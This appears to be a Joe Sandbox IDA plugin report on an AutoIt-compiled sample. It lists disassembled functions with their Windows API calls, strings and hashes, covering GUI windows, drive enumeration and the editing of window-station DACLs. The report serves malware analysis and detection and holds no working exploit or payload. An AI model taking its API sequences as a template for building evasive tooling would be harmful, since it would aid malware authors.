Opcode ID: 80ae16b843fa46f51126a3aacbe03e659fefe95c4cd3eec30804807695cf4842
Instruction ID: f4079885e2b4ce754b4d2b261ca7a4f72429d99805c9e940b1ccc8606c123b64
Opcode Fuzzy Hash: 80ae16b843fa46f51126a3aacbe03e659fefe95c4cd3eec30804807695cf4842
Instruction Fuzzy Hash:

Function 00432ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00432B30
DeleteObject.GDI32(00000000), ref: 00432B43
DestroyWindow.USER32 ref: 00432B52
GetDesktopWindow.USER32 ref: 00432B6D
GetWindowRect.USER32(00000000), ref: 00432B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00432CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00432CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00432CF8
GetClientRect.USER32(00000000,?), ref: 00432D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00432D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00432D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00432D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00432D80
GlobalLock.KERNEL32(00000000), ref: 00432D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00432D98
GlobalUnlock.KERNEL32(00000000), ref: 00432DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00432DA8
GlobalFree.KERNEL32(00000000), ref: 00432DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00432DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,0044FC38,00000000), ref: 00432DDB
GlobalFree.KERNEL32(00000000), ref: 00432DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00432E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00432E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00432E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0043303F

Strings

, xrefs: 00432FC5
AutoIt v3, xrefs: 00432CF2
static, xrefs: 00432D3A, 00432E91
DISPLAY, xrefs: 00432EA2

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 5bbc20e0ce28699c2a7331374591631541a6328257729e17b81d607ba542554d
Instruction ID: 235bcbd8364cc1206ca40eae6504a7e42609eaf13a68cb059d1aecad754b862b
Opcode Fuzzy Hash: 5bbc20e0ce28699c2a7331374591631541a6328257729e17b81d607ba542554d
Instruction Fuzzy Hash: B4029E75A00204AFDB14DF64CD89EAE7BB9FF49310F148529F915AB2A1CB74AD01CF64

Function 004470D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0044712F
GetSysColorBrush.USER32(0000000F), ref: 00447160
GetSysColor.USER32(0000000F), ref: 0044716C
SetBkColor.GDI32(?,000000FF), ref: 00447186
SelectObject.GDI32(?,?), ref: 00447195
InflateRect.USER32(?,000000FF,000000FF), ref: 004471C0
GetSysColor.USER32(00000010), ref: 004471C8
CreateSolidBrush.GDI32(00000000), ref: 004471CF
FrameRect.USER32(?,?,00000000), ref: 004471DE
DeleteObject.GDI32(00000000), ref: 004471E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00447230
FillRect.USER32(?,?,?), ref: 00447262
GetWindowLongW.USER32(?,000000F0), ref: 00447284

Part of subcall function 004473E8: GetSysColor.USER32(00000012), ref: 00447421
Part of subcall function 004473E8: SetTextColor.GDI32(?,?), ref: 00447425
Part of subcall function 004473E8: GetSysColorBrush.USER32(0000000F), ref: 0044743B
Part of subcall function 004473E8: GetSysColor.USER32(0000000F), ref: 00447446
Part of subcall function 004473E8: GetSysColor.USER32(00000011), ref: 00447463
Part of subcall function 004473E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00447471
Part of subcall function 004473E8: SelectObject.GDI32(?,00000000), ref: 00447482
Part of subcall function 004473E8: SetBkColor.GDI32(?,00000000), ref: 0044748B
Part of subcall function 004473E8: SelectObject.GDI32(?,?), ref: 00447498
Part of subcall function 004473E8: InflateRect.USER32(?,000000FF,000000FF), ref: 004474B7
Part of subcall function 004473E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004474CE
Part of subcall function 004473E8: GetWindowLongW.USER32(00000000,000000F0), ref: 004474DB

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 14d193a80a36217e731f1e2b883b086f5fb690d84a2003ce376088fa97d19f72
Instruction ID: 197a62a55588d8607be3009edb25428b95ff08f93ae5e1914e13e5b63b4958ef
Opcode Fuzzy Hash: 14d193a80a36217e731f1e2b883b086f5fb690d84a2003ce376088fa97d19f72
Instruction Fuzzy Hash: 78A1C176009311BFE7509F60DC88E5BBBA9FB4A321F140A29F962961E1D774E801CF56

Function 003C8D85 Relevance: 49.5, APIs: 26, Strings: 2, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 003C8E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00406AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00406AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00406F43

Part of subcall function 003C8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,003C8BE8,?,00000000,?,?,?,?,003C8BBA,00000000,?), ref: 003C8FC5

SendMessageW.USER32(?,00001053), ref: 00406F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00406F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00406FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00406FB7

Strings

8Y, xrefs: 003C8DC2, 00406ADC, 00406B10, 00406B5F, 00406B9F, 00406C47, 00406CE8, 00406D8C, 00406E18, 00406EEF, 00406F15, 00406FC8
0, xrefs: 00406DCF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0$8Y
API String ID: 2760611726-4199900344
Opcode ID: 3feaaa8cbca49b398170aa9d6f03b111c5b6f6eee6c5c592013d4ae94fa89920
Instruction ID: fe660439114e108f033a731512f3c461b6dd2e1b1d1c2047af796608545e23b5
Opcode Fuzzy Hash: 3feaaa8cbca49b398170aa9d6f03b111c5b6f6eee6c5c592013d4ae94fa89920
Instruction Fuzzy Hash: 6512AE742012119FD725CF24C884BAAB7F5FF45300F19447EE486EB6A1CB35AD62CB99

Function 00432711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0043273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0043286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 004328A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 004328B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00432900
GetClientRect.USER32(00000000,?), ref: 0043290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00432955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00432964
GetStockObject.GDI32(00000011), ref: 00432974
SelectObject.GDI32(00000000,00000000), ref: 00432978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00432988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00432991
DeleteDC.GDI32(00000000), ref: 0043299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 004329C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 004329DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00432A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00432A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00432A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00432A77
GetStockObject.GDI32(00000011), ref: 00432A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00432A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00432A97

Strings

msctls_progress32, xrefs: 00432A13
AutoIt v3, xrefs: 004328F8
static, xrefs: 0043294F, 00432A71
DISPLAY, xrefs: 0043295A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: b7033b3e00b14b60f070917eb5155bfe81817a67cafb02fd904a6b5c973dfbe5
Instruction ID: 504d55a067e11d3f02e0b4182db9025eda6e5094347bf9d2eed790c5254a03f1
Opcode Fuzzy Hash: b7033b3e00b14b60f070917eb5155bfe81817a67cafb02fd904a6b5c973dfbe5
Instruction Fuzzy Hash: 80B18175A00215AFEB14DF68CD85FAE7BA9FB09710F004525FA15EB2A0D774ED00CBA8

Function 00424ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00424AED
GetDriveTypeW.KERNEL32(?,0044CB68,?,\\.\,0044CC08), ref: 00424BCA
SetErrorMode.KERNEL32(00000000,0044CB68,?,\\.\,0044CC08), ref: 00424D36

Strings

Removable, xrefs: 00424C10, 00424C15
Fixed, xrefs: 00424C09
ATAPI, xrefs: 00424C91
SSD, xrefs: 00424C4A
PhysicalDrive, xrefs: 00424B76
SSA, xrefs: 00424CA6
USB, xrefs: 00424CB4
SAS, xrefs: 00424CC9
1394, xrefs: 00424C9F
ATA, xrefs: 00424C98
CDROM, xrefs: 00424BFB
Virtual, xrefs: 00424CE5
Network, xrefs: 00424C02
FileBackedVirtual, xrefs: 00424CEC
RAMDisk, xrefs: 00424BF4
Unknown, xrefs: 00424BED, 00424C83
SATA, xrefs: 00424CD0
RAID, xrefs: 00424CBB
\\.\, xrefs: 00424B3F
Fibre, xrefs: 00424CAD
iSCSI, xrefs: 00424CC2
MMC, xrefs: 00424CDE
SCSI, xrefs: 00424C8A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 0e56f81f4bf306d6452796d36798706801f78c8552a49d98dbeddb32485693dc
Instruction ID: 565b38652cbcb761da5c70473ef0e010818b034147e9ada88569efb2be03fc9d
Opcode Fuzzy Hash: 0e56f81f4bf306d6452796d36798706801f78c8552a49d98dbeddb32485693dc
Instruction Fuzzy Hash: 416165307001159FCB15DF19DA81AE977A1EB80304BB28017F80AAB751CB7DEC42CB5E

Function 004473E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00447421
SetTextColor.GDI32(?,?), ref: 00447425
GetSysColorBrush.USER32(0000000F), ref: 0044743B
GetSysColor.USER32(0000000F), ref: 00447446
CreateSolidBrush.GDI32(?), ref: 0044744B
GetSysColor.USER32(00000011), ref: 00447463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00447471
SelectObject.GDI32(?,00000000), ref: 00447482
SetBkColor.GDI32(?,00000000), ref: 0044748B
SelectObject.GDI32(?,?), ref: 00447498
InflateRect.USER32(?,000000FF,000000FF), ref: 004474B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004474CE
GetWindowLongW.USER32(00000000,000000F0), ref: 004474DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0044752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00447554
InflateRect.USER32(?,000000FD,000000FD), ref: 00447572
DrawFocusRect.USER32(?,?), ref: 0044757D
GetSysColor.USER32(00000011), ref: 0044758E
SetTextColor.GDI32(?,00000000), ref: 00447596
DrawTextW.USER32(?,004470F5,000000FF,?,00000000), ref: 004475A8
SelectObject.GDI32(?,?), ref: 004475BF
DeleteObject.GDI32(?), ref: 004475CA
SelectObject.GDI32(?,?), ref: 004475D0
DeleteObject.GDI32(?), ref: 004475D5
SetTextColor.GDI32(?,?), ref: 004475DB
SetBkColor.GDI32(?,?), ref: 004475E5

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: cd170b69f3b196bdb2847b7cc7065d108714ec5d837f35e1dd942d6b2c3d555b
Instruction ID: c78a67434e0e22f4e2bf7b672100a97ff5f1f13ce23382f091795a2f847cda9b
Opcode Fuzzy Hash: cd170b69f3b196bdb2847b7cc7065d108714ec5d837f35e1dd942d6b2c3d555b
Instruction Fuzzy Hash: BD619D76901218BFEF019FA4DC88EAEBFB9EB09320F154125F911BB2A1D7749941CF94

Function 00440FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00441128
GetDesktopWindow.USER32 ref: 0044113D
GetWindowRect.USER32(00000000), ref: 00441144
GetWindowLongW.USER32(?,000000F0), ref: 00441199
DestroyWindow.USER32(?), ref: 004411B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 004411ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0044120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0044121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00441232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00441245
IsWindowVisible.USER32(00000000), ref: 004412A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 004412BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 004412D0
GetWindowRect.USER32(00000000,?), ref: 004412E8
MonitorFromPoint.USER32(?,?,00000002), ref: 0044130E
GetMonitorInfoW.USER32(00000000,?), ref: 00441328
CopyRect.USER32(?,?), ref: 0044133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 004413AA

Strings

tooltips_class32, xrefs: 004411E6
(, xrefs: 0044131B
0, xrefs: 004410D3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 2c56376c51075ac6bdcf359adf9fdff732fe74c7b07cbb400eafaee04db32cb8
Instruction ID: eb76392ecf012a65cb85c466dba70bbbdf9d1cf3ba8627be02eb9cf2e480ece4
Opcode Fuzzy Hash: 2c56376c51075ac6bdcf359adf9fdff732fe74c7b07cbb400eafaee04db32cb8
Instruction Fuzzy Hash: 3DB19E71604341AFE710DF64C884BABBBE4FF89344F00891EF9999B261CB75E844CB96

Function 00440241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 004402E5
_wcslen.LIBCMT ref: 0044031F
_wcslen.LIBCMT ref: 00440389
_wcslen.LIBCMT ref: 004403F1
_wcslen.LIBCMT ref: 00440475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 004404C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00440504

Part of subcall function 003CF9F2: _wcslen.LIBCMT ref: 003CF9FD

Part of subcall function 0041223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00412258
Part of subcall function 0041223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0041228A

Strings

DESELECT, xrefs: 0044059C
GETITEMCOUNT, xrefs: 00440316, 00440337
GETSELECTEDCOUNT, xrefs: 00440470, 0044048B
SELECTALL, xrefs: 00440515
SELECTCLEAR, xrefs: 0044052D
ISSELECTED, xrefs: 004404DD
GETSELECTED, xrefs: 004405E1
SELECTINVERT, xrefs: 0044057E
SELECT, xrefs: 00440548
FINDITEM, xrefs: 00440627
GETTEXT, xrefs: 004403EC, 00440407
VIEWCHANGE, xrefs: 00440675
GETSUBITEMCOUNT, xrefs: 00440384, 0044039F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: 2b0b3e0b40f3d3a7875ea73eaf118750baf10c5fa6e3587792c74ae6d3f378ac
Instruction ID: 792a585a68dc57543228428661d8fa18d0533003f7356eba2c1e4ac9084a15b2
Opcode Fuzzy Hash: 2b0b3e0b40f3d3a7875ea73eaf118750baf10c5fa6e3587792c74ae6d3f378ac
Instruction Fuzzy Hash: 5CE1E2312082009FD724DF24C55096BB7E6FF88318F14895EFA969B3A1DB38ED56CB46

Function 003C8891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 003C8968
GetSystemMetrics.USER32(00000007), ref: 003C8970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 003C899B
GetSystemMetrics.USER32(00000008), ref: 003C89A3
GetSystemMetrics.USER32(00000004), ref: 003C89C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 003C89E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 003C89F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 003C8A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 003C8A3C
GetClientRect.USER32(00000000,000000FF), ref: 003C8A5A
GetStockObject.GDI32(00000011), ref: 003C8A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 003C8A81

Part of subcall function 003C912D: GetCursorPos.USER32(?), ref: 003C9141
Part of subcall function 003C912D: ScreenToClient.USER32(00000000,?), ref: 003C915E
Part of subcall function 003C912D: GetAsyncKeyState.USER32(00000001), ref: 003C9183
Part of subcall function 003C912D: GetAsyncKeyState.USER32(00000002), ref: 003C919D

SetTimer.USER32(00000000,00000000,00000028,003C90FC), ref: 003C8AA8

Strings

AutoIt v3 GUI, xrefs: 003C8A20

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: a0178a49df50f874d4d82beb9e14afae4eb59417e10d9d931e455031b4ecd676
Instruction ID: d56baf53b975fe34f45f585930d2b5f512eac6c4ad67f66965ff8bb23b601afd
Opcode Fuzzy Hash: a0178a49df50f874d4d82beb9e14afae4eb59417e10d9d931e455031b4ecd676
Instruction Fuzzy Hash: 3CB18075600209AFDB15DF68CC85FAE3BB5FB48314F15422AFA05E7290DB34A941CB58

Function 00410D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004110F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00411114
Part of subcall function 004110F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00410B9B,?,?,?), ref: 00411120
Part of subcall function 004110F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00410B9B,?,?,?), ref: 0041112F
Part of subcall function 004110F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00410B9B,?,?,?), ref: 00411136
Part of subcall function 004110F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0041114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00410DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00410E29
GetLengthSid.ADVAPI32(?), ref: 00410E40
GetAce.ADVAPI32(?,00000000,?), ref: 00410E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00410E96
GetLengthSid.ADVAPI32(?), ref: 00410EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00410EB5
HeapAlloc.KERNEL32(00000000), ref: 00410EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00410EDD
CopySid.ADVAPI32(00000000), ref: 00410EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00410F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00410F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00410F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00410F6E
HeapFree.KERNEL32(00000000), ref: 00410F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00410F7E
HeapFree.KERNEL32(00000000), ref: 00410F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00410F8E
HeapFree.KERNEL32(00000000), ref: 00410F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00410FA1
HeapFree.KERNEL32(00000000), ref: 00410FA8

Part of subcall function 00411193: GetProcessHeap.KERNEL32(00000008,00410BB1,?,00000000,?,00410BB1,?), ref: 004111A1
Part of subcall function 00411193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00410BB1,?), ref: 004111A8
Part of subcall function 00411193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00410BB1,?), ref: 004111B7

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

